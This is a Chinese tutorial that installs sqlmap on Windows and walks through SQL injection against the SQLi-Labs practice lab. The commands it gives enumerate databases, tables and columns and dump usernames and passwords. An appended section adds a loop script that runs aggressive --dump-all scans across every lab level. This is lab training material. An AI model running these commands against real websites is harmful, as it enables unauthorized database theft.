sqlmap的安装及利用sqlmap进行SQL注入

本文详细介绍SQLMap的安装步骤,包括Python环境配置、下载、解压及设置快捷方式等。此外,还提供了如何利用SQLMap进行SQL注入攻击的具体操作指南,从选择目标网站开始,到列出所有数据库、表及字段,最后获取所有数据。
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一、sqlmap的安装

由于SQLMap是利用Python语言写的,文章只记录安排sqlmap的安装过程,还未安装Python这个语言环境的同学,点击这里!!!

sqlmap的下载

下载地址: https://www.cnblogs.com/lvtaohome/p/11121377.html

点击下载蓝色的zip file

安装过程

将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到自己的python目录下,例如图下 “D:\python3.8\sqlmap”
在这里插入图片描述
然后打开cmd命令提示符的文件所在位置,右键发送到桌面快捷方式
在这里插入图片描述
接着在桌面即可看到一个快捷方式,重命名为sqlmap,右键点击属性修改起始位置
在这里插入图片描述
起始位置即为sqlmap.py 的所在位置
在这里插入图片描述
确定修改好之后,点击桌面快捷方式并输入sqlmap.py -h敲回车,出现如下信息则表示安装成功。
在这里插入图片描述

二、利用sqlmap进行SQL注入

首先选择好需要进行爆破的网址,例如爆破如下网址
在这里插入图片描述
打开sqlmap,输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1。
在这里插入图片描述
出现如图所示情况即为可注入,一直选择Y即可。

然后接着输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --dbs,显示当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。即爆出所有数据库。
在这里插入图片描述
选择你所要爆数据的数据库,爆出其所有表,输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security --tables
在这里插入图片描述
选择你所需表,输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users --columns,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。
在这里插入图片描述
接着直接输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --dump -D security -T users -C ‘id password username’,即可得出所有数据。
在这里插入图片描述
关于sqlmap的详细使用教程,这有链接!!!点这,直接进入学习

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### 使用 `sqlmap` 攻破 SQLiLabs 靶场 #### 关于 SQLiLabs 的概述 SQLiLabs 是一个用于练习和学习 SQL 注入技术的 Web 应用程序集合。它提供了多个不同难度级别的实验环境,帮助安全研究人员理解和掌握各种类型的 SQL 注入漏洞。 #### 基本命令结构 对于大多数 SQLiLabs 实验室级别,可以使用如下基本形式来启动 `sqlmap` 工具: ```bash python sqlmap.py -u "目标URL" 参数列表... ``` 其中 `-u` 后面跟的是存在潜在 SQL 注入点的目标 URL 地址;而其他参数则取决于具体需求以及所要执行的任务类型[^1]。 #### 设置测试深度 (`--level`) 为了更全面地检测可能存在的注入点,在某些情况下需要提高扫描级别。默认设置为 1 ,可以通过指定更高的数值(如 2 或者更高)让工具尝试更多种类的数据输入方式来进行探测。例如: ```bash python sqlmap.py -u "http://example.com/vulnerable_page?id=1" --batch --dbs --level=3 ``` 这里设置了 `--level=3` 来增强对页面各个部分(包括 HTTP 请求头字段像 User-Agent 和 Referer 等)是否存在注入可能性进行全面检查[^2]。 #### 自动化选项 (`-o`, `--batch`) 为了让操作更加简便高效,还可以启用自动化功能。比如使用 `-o` 可以开启一系列优化措施加快处理速度;加上 `--batch` 则允许自动确认所有提示而不需人工干预,这对于批量测试非常有用[^4]。 #### 完整实例演示 (针对 Level 1 至 65) 考虑到 SQLiLabs 中各关卡的具体实现细节有所不同,下面给出一段通用脚本来应对大部分情况下的挑战: ```bash for level in {1..65}; do url="http://your-sqli-labs-server/less-${level}/?id=1" echo "[*] Testing Less-$level..." python sqlmap.py \ -u "$url" \ --batch \ --random-agent \ --level=3 \ --risk=3 \ --dbms=mysql \ --technique=BETQURP \ --threads=10 \ --dump-all done ``` 此脚本循环遍历从第 1 层到第 65 层的所有实验室案例,应用了一系列推荐配置项以确保尽可能多地发现利用任何可用的 SQL 注入缺陷。请注意替换 `"http://your-sqli-labs-server"` 为你实际部署 SQLiLabs 的服务器地址[^3]。
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